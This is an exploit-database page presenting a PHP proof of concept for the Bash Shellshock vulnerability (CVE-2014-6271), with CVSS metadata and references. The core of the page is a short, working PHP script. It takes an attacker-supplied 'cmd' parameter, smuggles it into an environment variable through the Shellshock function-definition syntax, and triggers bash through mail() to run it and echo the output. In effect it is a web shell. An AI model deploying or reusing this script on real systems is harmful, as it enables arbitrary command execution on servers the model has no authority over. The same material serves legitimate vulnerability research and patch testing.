PHP 5.x / Bash Shellshock Proof Of Concept

2014.11.26
Credit: ssbostan
Risk: High
Local: Yes
Remote: No
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<?php // Exploit Title: PHP 5.x and GNU Bash <= 4.3 Shellshock Exploit // Date: 22/11/2014 // Exploit Author: ssbostan // Vendor Homepage: http://www.gnu.org/software/bash/ // Software Link: http://ftp.gnu.org/gnu/bash/ // Version: <= 4.3 // Tested on: Fedora 17, Ubuntu 8.04 // CVE: http://www.cvedetails.com/cve/CVE-2014-6271/ if(isset($_GET["cmd"]) && !empty($_GET["cmd"])) { $file=tempnam("/tmp", "xpl"); putenv("PHP_XPL=() { :;}; {$_GET["cmd"]}>{$file}"); mail("xpl@localhost", "", "", "", "-bv"); echo file_get_contents($file); unlink($file); } ?>

References:

http://www.gnu.org/software/bash/
https://www.rdot.org/forum/showthread.php?t=3308


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top